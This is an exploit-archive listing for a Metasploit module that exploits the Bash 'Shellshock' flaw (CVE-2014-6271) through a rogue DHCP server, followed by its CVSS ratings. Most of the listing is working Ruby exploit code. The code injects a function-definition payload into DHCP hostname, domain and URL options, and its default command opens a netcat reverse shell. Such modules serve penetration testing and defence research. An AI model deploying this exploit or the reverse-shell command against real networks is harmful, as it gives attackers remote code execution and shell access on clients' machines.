DHCP Client Bash Environment Variable Code Injection

2014.09.29
Credit: Ramon
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/dhcp' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DHCPServer def initialize super( 'Name' => 'DHCP Client Bash Environment Variable Code Injection', 'Description' => %q{ This module exploits a code injection in specially crafted environment variables in Bash, specifically targeting dhclient network configuration scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options. }, 'Author' => [ 'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module 'Stephane Chazelas', # Vulnerability discovery 'Ramon de C Valle' # This module ], 'License' => MSF_LICENSE, 'Actions' => [ [ 'Service' ] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service', 'References' => [ ['CVE', '2014-6271'], ['CWE', '94'], ['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649',], ['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',] ], 'DisclosureDate' => 'Sep 24 2014' ) register_options( [ OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]), OptString.new('ROUTER', [ false, 'The router IP address' ]), OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]), OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]), # OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]), OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]), OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]), OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) ], self.class) end def run value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}" # This loop is required because the current DHCP Server exits after the # first interaction. loop do begin start_service({ 'HOSTNAME' => value, 'DOMAINNAME' => value, 'URL' => value }.merge(datastore)) while dhcp.thread.alive? select(nil, nil, nil, 2) end rescue Interrupt break ensure stop_service end end end end

References:

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/


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